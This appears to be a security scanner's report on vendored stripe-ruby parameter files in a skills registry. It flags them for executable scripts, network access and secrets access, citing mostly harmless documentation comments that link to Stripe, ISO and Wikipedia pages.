packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_record_report_payment_attempt_failed_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_record_report_payment_attempt_guaranteed_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_record_report_payment_attempt_informational_params.rb
- Executable scriptline 1
Executable file - Network accessline 28
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 36
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 74
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_record_report_payment_attempt_params.rb
- Executable scriptline 1
Executable file - Network accessline 29
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 37
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 105
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 113
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 155
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_record_report_payment_params.rb
- Executable scriptline 1
Executable file - Network accessline 7
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 9
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 59
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 67
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 155
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 163
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 211
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_record_report_refund_params.rb
- Executable scriptline 1
Executable file - Network accessline 7
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 9
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 46
# A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) representing how much of this payment to refund. Can refund only up to the remaining, unrefunded amount of the payment. - Network accessline 52
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_record_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payout_cancel_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payout_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 8
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 16
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 18
# The method used to send this payout, which is `standard` or `instant`. We support `instant` for payouts to debit cards and bank accounts in certain countries. Learn more about [bank support for Instant Payouts](https://stripe.com/docs/pay
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payout_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payout_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payout_reverse_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payout_update_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/plan_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 11
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 19
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 89
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 99
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 113
# Default number of trial days when subscribing a customer to this plan using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/plan_delete_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/plan_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/plan_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/plan_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 10
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 16
# Default number of trial days when subscribing a customer to this plan using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/price_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 53
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 100
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 108
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 139
# Default number of trial days when subscribing a customer to this price using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan). - Network accessline 201
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 203
# Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 211
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 215
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 221
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/price_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/price_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/price_search_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/price_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 53
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 78
# Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 84
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 88
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/product_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 54
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 107
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 109
# Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 113
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 117
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 173
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object. This Price will be set as the default price for this product. - Network accessline 183
# A list of up to 15 marketing features for this product. These are displayed in [pricing tables](https://docs.stripe.com/payments/checkout/pricing-table). - Network accessline 185
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 198
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/product_delete_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/product_feature_create_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/product_feature_delete_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/product_feature_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/product_feature_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/product_list_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/product_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/product_search_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/product_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 34
# The ID of the [Price](https://docs.stripe.com/api/prices) object that is the default price for this product. - Network accessline 42
# A list of up to 15 marketing features for this product. These are displayed in [pricing tables](https://docs.stripe.com/payments/checkout/pricing-table). - Network accessline 44
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 57
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/promotion_code_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 27
# Promotion codes defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 33
# Three-letter [ISO code](https://stripe.com/docs/currencies) for minimum_amount - Network accessline 64
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/promotion_code_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/promotion_code_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/promotion_code_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 15
# Promotion codes defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 26
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/quote_accept_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/quote_cancel_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/quote_computed_upfront_line_items_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/quote_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 107
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 109
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 113
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 140
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 182
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on the subscription or subscription schedule when the quote is accepted. If a recurring price is included in `line_items`, this field will be passed to - Network accessline 230
# A description that will be displayed on the quote PDF. If no value is passed, the default description configured in your [quote template settings](https://dashboard.stripe.com/settings/billing/quote) will be used. - Network accessline 236
# A future timestamp on which the quote will be canceled if in `open` or `draft` status. Measured in seconds since the Unix epoch. If no value is passed, the default expiration date configured in your [quote template settings](https://dashb - Network accessline 238
# A footer that will be displayed on the quote PDF. If no value is passed, the default footer configured in your [quote template settings](https://dashboard.stripe.com/settings/billing/quote) will be used. - Network accessline 242
# A header that will be displayed on the quote PDF. If no value is passed, the default header configured in your [quote template settings](https://dashboard.stripe.com/settings/billing/quote) will be used. - Network accessline 248
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/quote_finalize_quote_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/quote_line_item_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/quote_list_computed_upfront_line_items_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/quote_list_line_items_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/quote_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/quote_pdf_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/quote_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/quote_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 95
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 97
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 101
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 130
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 159
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on the subscription or subscription schedule when the quote is accepted. If a recurring price is included in `line_items`, this field will be passed to - Network accessline 216
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/radar/early_fraud_warning_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/radar/early_fraud_warning_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/radar/value_list_create_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/radar/value_list_delete_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/radar/value_list_item_create_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/radar/value_list_item_delete_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/radar/value_list_item_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/radar/value_list_item_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/radar/value_list_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/radar/value_list_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/radar/value_list_update_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/refund_cancel_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/refund_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 10
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 18
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 24
# String indicating the reason for the refund. If set, possible values are `duplicate`, `fraudulent`, and `requested_by_customer`. If you believe the charge to be fraudulent, specifying `fraudulent` as the reason will add the associated car
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/refund_expire_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/refund_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/refund_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/refund_update_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/reporting/report_run_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 22
# Defaults to `Etc/UTC`. The output timezone for all timestamps in the report. A list of possible time zone values is maintained at the [IANA Time Zone Database](http://www.iana.org/time-zones). Has no effect on `interval_start` or `interva - Network accessline 47
# Parameters specifying how the report should be run. Different Report Types have different required and optional parameters, listed in the [API Access to Reports](https://docs.stripe.com/reporting/statements/api) documentation. - Network accessline 49
# The ID of the [report type](https://docs.stripe.com/reporting/statements/api#report-types) to run, such as `"balance.summary.1"`.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/reporting/report_run_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/reporting/report_run_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/reporting/report_type_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/reporting/report_type_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/review_approve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/review_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/review_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/setup_attempt_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/setup_intent_cancel_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/setup_intent_confirm_params.rb
- Executable scriptline 1
Executable file - Network accessline 98
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 106
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 301
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 421
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 449
# Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Access to secretsline 593
[Credential-related source omitted] - Access to secretsline 594
[Credential-related source omitted] - Network accessline 619
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 658
# Currency in which future payments will be charged. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 778
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 1085
# When included, this hash creates a PaymentMethod that is set as the [`payment_method`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-payment_method)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/setup_intent_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 7
# Controls whether this SetupIntent will accept redirect-based payment methods. # # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional ste - Network accessline 9
# Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional steps. To [confirm](https://docs.stripe.com/api/setup_intents/confirm) this SetupIntent, you may - Network accessline 112
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 120
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 315
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 435
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 463
# Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Access to secretsline 607
[Credential-related source omitted] - Access to secretsline 608
[Credential-related source omitted] - Network accessline 633
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 672
# Currency in which future payments will be charged. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 792
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 1091
# Amount the customer is granting permission to collect later. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to ch - Network accessline 1093
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 1131
# This hash contains details about the mandate to create. This parameter can only be used with [`confirm=true`](https://docs.stripe.com/api/setup_intents/create#create_setup_intent-confirm). - Network accessline 1133
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 1139
# The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use with this SetupIntent. - Network accessline 1141
# When included, this hash creates a PaymentMethod that is set as the [`payment_method`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-payment_method) - Network accessline 1146
# The list of payment method types (for example, card) that this SetupIntent can use. If you don't provide this, Stripe will dynamically show relevant payment methods from your [payment method settings](https://dashboard.stripe.com/settings - Network accessline 1148
# The URL to redirect your customer back to after they authenticate or cancel their payment on the payment method's app or site. To redirect to a mobile application, you can alternatively supply an application URI scheme. This parameter can
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/setup_intent_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/setup_intent_retrieve_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/setup_intent_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 59
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 67
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 262
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 382
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 410
# Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Access to secretsline 554
[Credential-related source omitted] - Access to secretsline 555
[Credential-related source omitted] - Network accessline 580
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 619
# Currency in which future payments will be charged. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 739
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 1058
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 1062
# The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use with this SetupIntent. - Network accessline 1064
# When included, this hash creates a PaymentMethod that is set as the [`payment_method`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-payment_method) - Network accessline 1069
# The list of payment method types (for example, card) that this SetupIntent can set up. If you don't provide this, Stripe will dynamically show relevant payment methods from your [payment method settings](https://dashboard.stripe.com/setti
